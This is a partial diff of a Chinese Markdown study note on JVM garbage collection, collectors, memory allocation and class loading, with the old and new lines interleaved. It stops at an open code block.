程序计数器、虚拟机栈和本地方法栈这三个区域属于线程私有的,只存在于线程的生命周期内,线程结束之后也会消失,因此不需要对这三个区域进行垃圾回收。
|
||||
程序计数器、虚拟机栈和本地方法栈这三个区域属于线程私有的,只存在于线程的生命周期内,线程结束之后也会消失,因此不需要对这三个区域进行垃圾回收。垃圾回收主要是针对 Java 堆和方法区进行。
|
||||
|
||||
垃圾回收主要是针对 Java 堆和方法区进行。
|
||||
## 判断一个对象是否可回收
|
||||
|
||||
## 1. 判断一个对象是否可回收
|
||||
### 1. 引用计数
|
||||
|
||||
### 1.1 引用计数
|
||||
给对象添加一个引用计数器,当对象增加一个引用时计数器加 1,引用失效时计数器减 1。引用计数为 0 的对象可被回收。
|
||||
|
||||
给对象添加一个引用计数器,当对象增加一个引用时计数器加 1,引用失效时计数器减 1。
|
||||
|
||||
引用计数为 0 的对象可被回收。
|
||||
|
||||
两个对象会出现循环引用问题,此时引用计数器永远不为 0,导致 GC 收集器无法回收。
|
||||
两个对象出现循环引用的情况下,此时引用计数器永远不为 0,导致无法对它们进行回收。
|
||||
|
||||
```java
|
||||
objA.instance = objB;
|
||||
objB.instance = objA;
|
||||
```
|
||||
|
||||
### 1.2 可达性
|
||||
### 2. 可达性
|
||||
|
||||
通过 GC Roots 作为起始点进行搜索,能够到达到的对象都是都是可用的,不可达的对象可被回收。
|
||||
|
||||
<div align="center"> <img src="../pics//0635cbe8.png" width=""/> </div><br>
|
||||
|
||||
GC Roots 一般包含以下内容:
|
||||
|
||||
1. 虚拟机栈中引用的对象
|
||||
@ -146,64 +134,66 @@ GC Roots 一般包含以下内容:
|
||||
3. 方法区中的常量引用的对象
|
||||
4. 本地方法栈中引用的对象
|
||||
|
||||
### 1.3 引用类型
|
||||
### 3. 引用类型
|
||||
|
||||
无论是通过引用计算算法判断对象的引用数量,还是通过可达性分析算法判断对象的引用链是否可达,判定独享是否存活都与“引用”有关。
|
||||
无论是通过引用计算算法判断对象的引用数量,还是通过可达性分析算法判断对象的引用链是否可达,判定对象是否存活都与引用有关。
|
||||
|
||||
#### 1.3.1 强引用
|
||||
Java 对引用的概念进行了扩充,引入四种强度不同的引用类型。
|
||||
|
||||
**(一)强引用**
|
||||
|
||||
只要强引用存在,垃圾回收器永远不会回收调掉被引用的对象。
|
||||
|
||||
使用 new 一个新对象的方式来创建强引用。
|
||||
|
||||
```java
|
||||
Object obj = new Object();
|
||||
```
|
||||
|
||||
#### 1.3.2 软引用
|
||||
**(二)软引用**
|
||||
|
||||
用来描述一些还有用但是并非必需的对象。
|
||||
|
||||
非必须引用,内存溢出之前进行回收。
|
||||
在系统将要发生内存溢出异常之前,将会对这些对象列进回收范围之中进行第二次回收。
|
||||
|
||||
软引用主要用来实现类似缓存的功能,在内存足够的情况下直接通过软引用取值,无需从繁忙的真实来源获取数据,提升速度;当内存不足时,自动删除这部分缓存数据,从真正的来源获取这些数据。
|
||||
|
||||
使用 SoftReference 类来实现软引用。
|
||||
|
||||
```java
|
||||
Object obj = new Object();
|
||||
SoftReference<Object> sf = new SoftReference<Object>(obj);
|
||||
obj = null;
|
||||
sf.get();
|
||||
```
|
||||
|
||||
sf 是对 obj 的一个软引用,通过 sf.get() 方法可以取到这个对象,当然,当这个对象被标记为需要回收的对象时,则返回 null;
|
||||
|
||||
软引用主要用来实现类似缓存的功能,在内存足够的情况下直接通过软引用取值,无需从繁忙的真实来源查询数据,提升速度;当内存不足时,自动删除这部分缓存数据,从真正的来源查询这些数据。
|
||||
|
||||
|
||||
#### 1.3.3 弱引用
|
||||
**(三)弱引用**
|
||||
|
||||
只能生存到下一次垃圾收集发生之前,当垃圾收集器工作时,无论当前内存是否足够,都会被回收。
|
||||
|
||||
使用 WeakReference 类来实现弱引用。
|
||||
|
||||
```java
|
||||
Object obj = new Object();
|
||||
WeakReference<Object> wf = new WeakReference<Object>(obj);
|
||||
obj = null;
|
||||
wf.get();
|
||||
wf.isEnQueued();
|
||||
```
|
||||
|
||||
#### 1.3.4 虚引用
|
||||
**(四)虚引用**
|
||||
|
||||
又称为幽灵引用或者幻影引用,一个对象是否有虚引用的存在,完全不会对其生存时间构成影响,也无法通过虚引用取得一个对象实例。为一个对象设置虚引用关联的唯一目的就是能在这个对象被收集器回收时收到一个系统通知。
|
||||
又称为幽灵引用或者幻影引用。一个对象是否有虚引用的存在,完全不会对其生存时间构成影响,也无法通过虚引用取得一个对象实例。
|
||||
|
||||
为一个对象设置虚引用关联的唯一目的就是能在这个对象被收集器回收时收到一个系统通知。
|
||||
|
||||
使用 PhantomReference 来实现虚引用。
|
||||
|
||||
```java
|
||||
Object obj = new Object();
|
||||
PhantomReference<Object> pf = new PhantomReference<Object>(obj);
|
||||
obj=null;
|
||||
pf.get();
|
||||
pf.isEnQueued();
|
||||
```
|
||||
|
||||
### 1.3 方法区的回收
|
||||
### 4. 方法区的回收
|
||||
|
||||
在方法区主要是对常量池的回收和对类的卸载。
|
||||
因为方法区主要存放永久代对象,而永久代对象的回收率比新生代差很多,因此在方法区上进行回收性价比不高。
|
||||
|
||||
常量池的回收和堆中对象回收类似。
|
||||
主要是对常量池的回收和对类的卸载。
|
||||
|
||||
类的卸载条件很多,需要满足以下三个条件,并且满足了也不一定会被卸载:
|
||||
|
||||
@ -215,61 +205,59 @@ pf.isEnQueued();
|
||||
|
||||
在大量使用反射、动态代理、CGLib 等 ByteCode 框架、动态生成 JSP 以及 OSGo 这类频繁自定义 ClassLoader 的场景都需要虚拟机具备类卸载功能,以保证不会出现内存溢出。
|
||||
|
||||
### 1.4 finalize()
|
||||
|
||||
当一个对象可被回收时,如果该对象有必要执行 finalize() 方法,那么就有可能可能通过在该方法中让对象重新被引用,从而实现自救。
|
||||
### 5. finalize()
|
||||
|
||||
finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。但是 try-finally 等方式可以做的更好,并且该方法运行代价高昂,不确定性大,无法保证各个对象的调用顺序,因此最好不要使用。
|
||||
|
||||
## 2. 垃圾收集算法
|
||||
当一个对象可被回收时,如果需要执行该对象的 finalize() 方法,那么就有可能通过在该方法中让对象重新被引用,从而实现自救。
|
||||
|
||||
### 2.1 标记-清除算法
|
||||
## 垃圾收集算法
|
||||
|
||||
<div align="center"> <img src="../pics//a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg"/> </div><br>
|
||||
### 1. 标记 - 清除
|
||||
|
||||
<div align="center"> <img src="../pics//a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/> </div><br>
|
||||
|
||||
将需要回收的对象进行标记,然后清除。
|
||||
|
||||
不足:
|
||||
|
||||
1. 标记和清除过程效率都不高
|
||||
2. 会产生大量碎片
|
||||
1. 标记和清除过程效率都不高;
|
||||
2. 会产生大量碎片,内存碎片过多可能导致无法给大对象分配内存。
|
||||
|
||||
之后的算法都是基于该算法进行改进。
|
||||
### 2. 复制
|
||||
|
||||
### 2.2 复制算法
|
||||
|
||||
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
|
||||
|
||||
将内存划分为大小相等的两块,每次只使用其中一块,当这一块内存用完了就将还存活的对象复制到另一块上面,然后再把使用过的内存空间进行一次清理。
|
||||
|
||||
主要不足是只使用了内存的一半。
|
||||
|
||||
现在的商业虚拟机都采用这种收集算法来回收新生代,但是并不是将内存划分为大小相等的两块,而是分为一块较大的 Eden 空间和两块较小的 Survior 空间,每次使用 Eden 空间和其中一块 Survivor。在回收时,将 Eden 和 Survivor 中还存活着的对象一次性复制到另一块 Survivor 空间上,最后清理 Eden 和 Survivor。HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1,保证了内存的利用率达到 90 %。如果每次回收有多于 10% 的对象存活,那么一块 Survivor 空间就不够用了,需要依赖于老年代进行分配担保,也就是借用老年代的空间。
|
||||
现在的商业虚拟机都采用这种收集算法来回收新生代,但是并不是将内存划分为大小相等的两块,而是分为一块较大的 Eden 空间和两块较小的 Survior 空间,每次使用 Eden 空间和其中一块 Survivor。在回收时,将 Eden 和 Survivor 中还存活着的对象一次性复制到另一块 Survivor 空间上,最后清理 Eden 和 使用过的那一块 Survivor。HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1,保证了内存的利用率达到 90 %。如果每次回收有多于 10% 的对象存活,那么一块 Survivor 空间就不够用了,此时需要依赖于老年代进行分配担保,也就是借用老年代的空间。
|
||||
|
||||
### 2.3 标记-整理算法
|
||||
### 3. 标记 - 整理
|
||||
|
||||
<div align="center"> <img src="../pics//902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/> </div><br>
|
||||
|
||||
让所有存活的对象都向一端移动,然后直接清理掉端边界以外的内存。
|
||||
|
||||
### 2.4 分代收集算法
|
||||
### 4. 分代收集
|
||||
|
||||
现在的商业虚拟机采用分代收集算法,它使用了前面介绍的几种收集算法,根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。
|
||||
现在的商业虚拟机采用分代收集算法,它根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。
|
||||
|
||||
一般将 Java 堆分为新生代和老年代。
|
||||
|
||||
1. 新生代使用:复制算法
|
||||
2. 老年代使用:标记 - 清理 或者 标记 - 整理 算法。
|
||||
2. 老年代使用:标记 - 清理 或者 标记 - 整理 算法
|
||||
|
||||
## 3. 垃圾收集器
|
||||
## 垃圾收集器
|
||||
|
||||
<div align="center"> <img src="../pics//c625baa0-dde6-449e-93df-c3a67f2f430f.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//c625baa0-dde6-449e-93df-c3a67f2f430f.jpg" width=""/> </div><br>
|
||||
|
||||
以上是 HotSpot 虚拟机中的 7 个垃圾收集器,连线表示垃圾收集器可以配合使用。
|
||||
|
||||
### 3.1 Serial 收集器
|
||||
### 1. Serial 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/> </div><br>
|
||||
|
||||
它是单线程的收集器,不仅意味着只会使用一个线程进行垃圾收集工作,更重要的是它在进行垃圾收集时,必须暂停所有其他工作线程,往往造成过长的等待时间。
|
||||
|
||||
@ -277,9 +265,9 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
|
||||
|
||||
在 Client 应用场景中,分配给虚拟机管理的内存一般来说不会很大,该收集器收集几十兆甚至一两百兆的新生代停顿时间可以控制在一百多毫秒以内,只要不是太频繁,这点停顿是可以接受的。
|
||||
|
||||
### 3.2 ParNew 收集器
|
||||
### 2. ParNew 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg" width=""/> </div><br>
|
||||
|
||||
它是 Serial 收集器的多线程版本。
|
||||
|
||||
@ -287,7 +275,7 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
|
||||
|
||||
默认开始的线程数量与 CPU 数量相同,可以使用 -XX:ParallelGCThreads 参数来设置线程数。
|
||||
|
||||
### 3.3 Parallel Scavenge 收集器
|
||||
### 3. Parallel Scavenge 收集器
|
||||
|
||||
是并行的多线程收集器。
|
||||
|
||||
@ -299,28 +287,28 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
|
||||
|
||||
还提供了一个参数 -XX:+UseAdaptiveSizePolicy,这是一个开关参数,打开参数后,就不需要手工指定新生代的大小(-Xmn)、Eden 和 Survivor 区的比例(-XX:SurvivorRatio)、晋升老年代对象年龄(-XX:PretenureSizeThreshold)等细节参数了,虚拟机会根据当前系统的运行情况收集性能监控信息,动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量,这种方式称为 GC 自适应的调节策略(GC Ergonomics)。自适应调节策略也是它与 ParNew 收集器的一个重要区别。
|
||||
|
||||
### 3.4 Serial Old 收集器
|
||||
### 4. Serial Old 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg" width=""/> </div><br>
|
||||
|
||||
Serial Old 是 Serial 收集器的老年代版本,也是给 Client 模式下的虚拟机使用。如果用在 Server 模式下,它有两大用途:
|
||||
|
||||
1. 在 JDK 1.5 以及之前版本(Parallel Old 诞生以前)中与 Parallel Scavenge 收集器搭配使用。
|
||||
2. 作为 CMS 收集器的后备预案,在并发收集发生 Concurrent Mode Failure 时使用。
|
||||
|
||||
### 3.5 Parallel Old 收集器
|
||||
### 5. Parallel Old 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//278fe431-af88-4a95-a895-9c3b80117de3.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//278fe431-af88-4a95-a895-9c3b80117de3.jpg" width=""/> </div><br>
|
||||
|
||||
是 Parallel Scavenge 收集器的老年代版本。
|
||||
|
||||
在注重吞吐量以及 CPU 资源敏感的场合,都可以优先考虑 Parallel Scavenge 加 Parallel Old 收集器。
|
||||
|
||||
### 3.6 CMS 收集器
|
||||
### 6. CMS 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//62e77997-6957-4b68-8d12-bfd609bb2c68.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//62e77997-6957-4b68-8d12-bfd609bb2c68.jpg" width=""/> </div><br>
|
||||
|
||||
CMS(Concurrent Mark Sweep),从 Mark Sweep 可以知道它是基于 标记 - 清除 算法实现的。
|
||||
CMS(Concurrent Mark Sweep),从 Mark Sweep 可以知道它是基于标记 - 清除算法实现的。
|
||||
|
||||
特点:并发收集、低停顿。
|
||||
|
||||
@ -339,17 +327,17 @@ CMS(Concurrent Mark Sweep),从 Mark Sweep 可以知道它是基于 标记
|
||||
|
||||
2. 无法处理浮动垃圾。由于并发清理阶段用户线程还在运行着,伴随程序运行自然就还会有新的垃圾不断产生。这一部分垃圾出现在标记过程之后,CMS 无法在当次收集中处理掉它们,只好留到下一次 GC 时再清理掉,这一部分垃圾就被称为“浮动垃圾”。也是由于在垃圾收集阶段用户线程还需要运行,那也就还需要预留有足够的内存空间给用户线程使用,因此它不能像其他收集器那样等到老年代几乎完全被填满了再进行收集,需要预留一部分空间提供并发收集时的程序运作使用。可以使用 -XX:CMSInitiatingOccupancyFraction 的值来改变触发收集器工作的内存占用百分比,JDK 1.5 默认设置下该值为 68,也就是当老年代使用了 68% 的空间之后会触发收集器工作。如果该值设置的太高,导致浮动垃圾无法保存,那么就会出现 Concurrent Mode Failure,此时虚拟机将启动后备预案:临时启用 Serial Old 收集器来重新进行老年代的垃圾收集。
|
||||
|
||||
3. 标记 - 清除算法导致的空间碎片,给大对象分配带来很大麻烦,往往出现老年代空间剩余,但无法找到足够大连续空间来分配当前对象,不得不提前出发一次 Full GC。
|
||||
3. 标记 - 清除算法导致的空间碎片,给大对象分配带来很大麻烦,往往出现老年代空间剩余,但无法找到足够大连续空间来分配当前对象,不得不提前触发一次 Full GC。
|
||||
|
||||
### 3.7 G1 收集器
|
||||
### 7. G1 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//f99ee771-c56f-47fb-9148-c0036695b5fe.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//f99ee771-c56f-47fb-9148-c0036695b5fe.jpg" width=""/> </div><br>
|
||||
|
||||
G1(Garbage-First)收集器是当今收集器技术发展最前沿的成果之一,它是一款面向服务端应用的垃圾收集器,HotSpot 开发团队赋予它的使命是(在比较长期的)未来可以替换掉 JDK 1.5 中发布的 CMS 收集器。
|
||||
|
||||
具备如下特点:
|
||||
|
||||
- 并行与并发:能充分利用多 CPU 环境下的硬件优势,使用多个 CPU 来缩短停顿时间;
|
||||
- 并行与并发:能充分利用多 CPU 环境下的硬件优势,使用多个 CPU 来缩短停顿时间。
|
||||
- 分代收集:分代概念依然得以保留,虽然它不需要其它收集器配合就能独立管理整个 GC 堆,但它能够采用不同方式去处理新创建的对象和已存活一段时间、熬过多次 GC 的旧对象来获取更好的收集效果。
|
||||
- 空间整合:整体来看是基于“标记 - 整理”算法实现的收集器,从局部(两个 Region 之间)上来看是基于“复制”算法实现的,这意味着运行期间不会产生内存空间碎片。
|
||||
- 可预测的停顿:这是它相对 CMS 的一大优势,降低停顿时间是 G1 和 CMS 共同的关注点,但 G1 除了降低停顿外,还能建立可预测的停顿时间模型,能让使用者明确指定在一个长度为 M 毫秒的时间片段内,消耗在 GC 上的时间不得超过 N 毫秒,这几乎已经是实时 Java(RTSJ)的垃圾收集器的特征了。
|
||||
@ -367,73 +355,80 @@ Region 不可能是孤立的,一个对象分配在某个 Region 中,可以
|
||||
3. 最终标记:为了修正在并发标记期间因用户程序继续运作而导致标记产生变动的那一部分标记记录,虚拟机将这段时间对象变化记录在线程的 Remembered Set Logs 里面,最终标记阶段需要把 Remembered Set Logs 的数据合并到 Remembered Set 中。这阶段需要停顿线程,但是可并行执行。
|
||||
4. 筛选回收:首先对各个 Region 中的回收价值和成本进行排序,根据用户所期望的 GC 停顿是时间来制定回收计划。此阶段其实也可以做到与用户程序一起并发执行,但是因为只回收一部分 Region,时间是用户可控制的,而且停顿用户线程将大幅度提高收集效率。
|
||||
|
||||
### 3.8 七种垃圾收集器的比较
|
||||
### 8. 七种垃圾收集器的比较
|
||||
|
||||
| 收集器 | 串行、并行 or 并发 | 新生代 / 老年代 | 算法 | 目标 | 适用场景 |
|
||||
| --- | --- | --- | --- | --- | --- |
|
||||
| :---: | :---: | :---: | :---: | :---: | :---: |
|
||||
| **Serial** | 串行 | 新生代 | 复制算法 | 响应速度优先 | 单 CPU 环境下的 Client 模式 |
|
||||
| **Serial Old** | 串行 | 老年代 | 标记 - 整理 | 响应速度优先 | 单 CPU 环境下的 Client 模式、CMS 的后备预案 |
|
||||
| **Serial Old** | 串行 | 老年代 | 标记-整理 | 响应速度优先 | 单 CPU 环境下的 Client 模式、CMS 的后备预案 |
|
||||
| **ParNew** | 并行 | 新生代 | 复制算法 | 响应速度优先 | 多 CPU 环境时在 Server 模式下与 CMS 配合 |
|
||||
| **Parallel Scavenge** | 并行 | 新生代 | 复制算法 | 吞吐量优先 | 在后台运算而不需要太多交互的任务 |
|
||||
| **Parallel Old** | 并行 | 老年代 | 标记 - 整理 | 吞吐量优先 | 在后台运算而不需要太多交互的任务 |
|
||||
| **CMS** | 并发 | 老年代 | 标记 - 清除 | 响应速度优先 | 集中在互联网站或 B/S 系统服务端上的 Java 应用 |
|
||||
| **G1** | 并发 | both | 标记 - 整理 + 复制算法 | 响应速度优先 | 面向服务端应用,将来替换 CMS |
|
||||
| **Parallel Old** | 并行 | 老年代 | 标记-整理 | 吞吐量优先 | 在后台运算而不需要太多交互的任务 |
|
||||
| **CMS** | 并发 | 老年代 | 标记-清除 | 响应速度优先 | 集中在互联网站或 B/S 系统服务端上的 Java 应用 |
|
||||
| **G1** | 并发 | both | 标记-整理 + 复制算法 | 响应速度优先 | 面向服务端应用,将来替换 CMS |
|
||||
|
||||
## 4. 内存分配与回收策略
|
||||
## 内存分配与回收策略
|
||||
|
||||
### 4.1 优先在 Eden 分配
|
||||
对象的内存分配,也就是在堆上分配。主要分配在新生代的 Eden 区上,少数情况下也可能直接分配在老年代中。
|
||||
|
||||
大多数情况下,对象在新生代 Eden 区分配,当 Eden 区空间不够时,发起 Minor GC;
|
||||
### 1. 优先在 Eden 分配
|
||||
|
||||
### 4.2 大对象直接进入老年代
|
||||
大多数情况下,对象在新生代 Eden 区分配,当 Eden 区空间不够时,发起 Minor GC。
|
||||
|
||||
提供 -XX:PretenureSizeThreshold 参数,大于此值的对象直接在老年代分配,避免在 Eden 区和 Survivor 区之间的大量内存复制;
|
||||
### 4.3 长期存活的对象进入老年代
|
||||
关于 Minor GC 和 Full GC:
|
||||
|
||||
JVM 为对象定义年龄计数器,经过 Minor GC 依然存活且被 Survivor 区容纳的,移动到 Survivor 区,年龄加 1,每经历一次 Minor GC 不被清理则年龄加 1,增加到一定年龄则移动到老年区(默认 15 岁,通过 -XX:MaxTenuringThreshold 设置);
|
||||
- Minor GC:发生在新生代上,因为新生代对象存活时间很短,因此 Minor GC 会频繁执行,执行的速度一般也会比较快。
|
||||
- Full GC:发生在老年代上,老年代对象和新生代的相反,其存活时间长,因此 Full GC 很少执行,而且执行速度会比 Minor GC 慢很多。
|
||||
|
||||
### 2. 大对象直接进入老年代
|
||||
|
||||
### 4.4 动态对象年龄判定
|
||||
大对象是指需要连续内存空间的对象,最典型的大对象是那种很长的字符串以及数组。经常出现大对象会提前触发垃圾收集以获取足够的连续空间分配给大对象。
|
||||
|
||||
若 Survivor 区中同年龄所有对象大小总和大于 Survivor 空间一半,则年龄大于等于该年龄的对象可以直接进入老年代;
|
||||
提供 -XX:PretenureSizeThreshold 参数,大于此值的对象直接在老年代分配,避免在 Eden 区和 Survivor 区之间的大量内存复制。
|
||||
|
||||
### 4.5 空间分配担保
|
||||
### 3. 长期存活的对象进入老年代
|
||||
|
||||
在发生 Minor GC 之前,JVM 先检查老年代最大可用连续空间是否大于新生代所有对象总空间,成立的话 Minor GC 确认是安全的;否则继续检查老年代最大可用连续空间是否大于历次晋升到老年代对象的平均大小,大于的话进行 Minor GC,小于的话进行 Full GC。
|
||||
JVM 为对象定义年龄计数器,经过 Minor GC 依然存活,并且能被 Survivor 区容纳的,移被移到 Survivor 区,年龄就增加 1 岁,增加到一定年龄则移动到老年代中(默认 15 岁,通过 -XX:MaxTenuringThreshold 设置)。
|
||||
|
||||
## 4.6 Full GC 的触发条件
|
||||
### 4. 动态对象年龄判定
|
||||
|
||||
JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 区中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无需等待 MaxTenuringThreshold 中要求的年龄。
|
||||
|
||||
### 5. 空间分配担保
|
||||
|
||||
在发生 Minor GC 之前,JVM 先检查老年代最大可用的连续空间是否大于新生代所有对象总空间,如果条件成立的话,那么 Minor GC 可以确认是安全的;如果不成立的话 JVM 会查看 HandlePromotionFailure 设置值是否允许担保失败,如果允许那么就会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小,如果大于,将尝试着进行一次 Minor GC,尽管这次 Minor GC 是有风险的;如果小于,或者 HandlePromotionFailure 设置不允许冒险,那这时也要改为进行一次 Full GC。
|
||||
|
||||
## Full GC 的触发条件
|
||||
|
||||
对于 Minor GC,其触发条件非常简单,当 Eden 区空间满时,就将触发一次 Minor GC。而 Full GC 则相对复杂,有以下条件:
|
||||
|
||||
### 4.6.1 调用 System.gc()
|
||||
### 1. 调用 System.gc()
|
||||
|
||||
此方法的调用是建议 JVM 进行 Full GC,虽然只是建议而非一定,但很多情况下它会触发 Full GC,从而增加 Full GC 的频率,也即增加了间歇性停顿的次数。因此强烈建议能不使用此方法就不要使用,让虚拟机自己去管理它的内存,可通过 -XX:+ DisableExplicitGC 来禁止 RMI 调用 System.gc()。
|
||||
此方法的调用是建议 JVM 进行 Full GC,虽然只是建议而非一定,但很多情况下它会触发 Full GC,从而增加 Full GC 的频率,也即增加了间歇性停顿的次数。因此强烈建议能不使用此方法就不要使用,让虚拟机自己去管理它的内存。可通过 -XX:+ DisableExplicitGC 来禁止 RMI 调用 System.gc()。
|
||||
|
||||
### 4.6.2 老年代空间不足
|
||||
### 2. 老年代空间不足
|
||||
|
||||
老年代空间不足的常见场景为前文所讲的大对象直接进入老年代、长期存活的对象进入老年代等,当执行 Full GC 后空间仍然不足,则抛出如下错误: Java.lang.OutOfMemoryError: Java heap space 为避免以上两种状况引起的 Full GC,调优时应尽量做到让对象在 Minor GC 阶段被回收、让对象在新生代多存活一段时间及不要创建过大的对象及数组。
|
||||
老年代空间不足的常见场景为前文所讲的大对象直接进入老年代、长期存活的对象进入老年代等,当执行 Full GC 后空间仍然不足,则抛出 Java.lang.OutOfMemoryError。为避免以上原因引起的 Full GC,调优时应尽量做到让对象在 Minor GC 阶段被回收、让对象在新生代多存活一段时间以及不要创建过大的对象及数组。
|
||||
|
||||
### 4.6.3 空间分配担保失败
|
||||
### 3. 空间分配担保失败
|
||||
|
||||
使用复制算法的 Minor GC 需要老年代的内存空间作担保,如果出现了 HandlePromotionFailure 担保失败,则会触发 Full GC。
|
||||
|
||||
### 4.6.4 JDK 1.7 及以前的永久代空间不足
|
||||
### 4. JDK 1.7 及以前的永久代空间不足
|
||||
|
||||
在 JDK 1.7 及以前,HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,Permanet Generation 可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么 JVM 会抛出如下错误信息:java.lang.OutOfMemoryError: PermGen space 为避免 PermGen 占满造成 Full GC 现象,可采用的方法为增大 PermGen 空间或转为使用 CMS GC。
|
||||
在 JDK 1.7 及以前,HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 Class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么 JVM 会抛出 java.lang.OutOfMemoryError,为避免以上原因引起的 Full GC,可采用的方法为增大永久代空间或转为使用 CMS GC。
|
||||
|
||||
在 JDK 1.8 中用元空间替换了永久代作为方法区的实现,元空间是本地内存,因此减少了一种 Full GC 触发的可能性。
|
||||
|
||||
### 4.6.5 Concurrent Mode Failure
|
||||
### 5. Concurrent Mode Failure
|
||||
|
||||
执行 CMS GC 的过程中同时有对象要放入老年代,而此时老年代空间不足(有时候“空间不足”是 CMS GC 时当前的浮动垃圾过多导致暂时性的空间不足触发 Full GC),便会报 Concurrent Mode Failure 错误,并触发 Full GC。
|
||||
|
||||
# 类加载机制
|
||||
# 三、类加载机制
|
||||
|
||||
类是在运行期间动态加载的。
|
||||
|
||||
## 1 类的生命周期
|
||||
## 类的生命周期
|
||||
|
||||
<div align="center"> <img src="../pics//32b8374a-e822-4720-af0b-c0f485095ea2.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//32b8374a-e822-4720-af0b-c0f485095ea2.jpg" width=""/> </div><br>
|
||||
|
||||
包括以下 7 个阶段:
|
||||
|
||||
@ -447,11 +442,11 @@ JVM 为对象定义年龄计数器,经过 Minor GC 依然存活且被 Survivor
|
||||
|
||||
其中解析过程在某些情况下可以在初始化阶段之后再开始,这是为了支持 Java 的动态绑定。
|
||||
|
||||
## 2. 类初始化时机
|
||||
## 类初始化时机
|
||||
|
||||
虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化:( 加载、验证、准备都会随着发生 )
|
||||
虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随着发生):
|
||||
|
||||
1. 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译器把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
|
||||
1. 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译期把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
|
||||
|
||||
2. 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。
|
||||
|
||||
@ -459,33 +454,33 @@ JVM 为对象定义年龄计数器,经过 Minor GC 依然存活且被 Survivor
|
||||
|
||||
4. 当虚拟机启动时,用户需要指定一个要执行的主类(包含 main() 方法的那个类),虚拟机会先初始化这个主类;
|
||||
|
||||
5. 当使用 jdk1.7 的动态语言支持时,如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果为 REF_getStatic, REF_putStatic, REF_invokeStatic 的方法句柄,并且这个方法句柄所对应的类没有进行过初始化,则需要先触发其初始化;
|
||||
5. 当使用 JDK.7 的动态语言支持时,如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果为 REF_getStatic, REF_putStatic, REF_invokeStatic 的方法句柄,并且这个方法句柄所对应的类没有进行过初始化,则需要先触发其初始化;
|
||||
|
||||
以上 5 种场景中的行为称为对一个类进行主动引用。除此之外,所有引用类的方式都不会触发初始化,称为被动引用。被动引用的常见例子包括:
|
||||
|
||||
1\. 通过子类引用父类的静态字段,不会导致子类初始化。
|
||||
- 通过子类引用父类的静态字段,不会导致子类初始化。
|
||||
|
||||
```java
|
||||
System.out.println(SubClass.value); // value 字段在 SuperClass 中定义
|
||||
```
|
||||
|
||||
2\. 通过数组定义来引用类,不会触发此类的初始化。该过程会对数组类进行初始化,数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类,其中包含了数组的属性和方法。
|
||||
- 通过数组定义来引用类,不会触发此类的初始化。该过程会对数组类进行初始化,数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类,其中包含了数组的属性和方法。
|
||||
|
||||
```java
|
||||
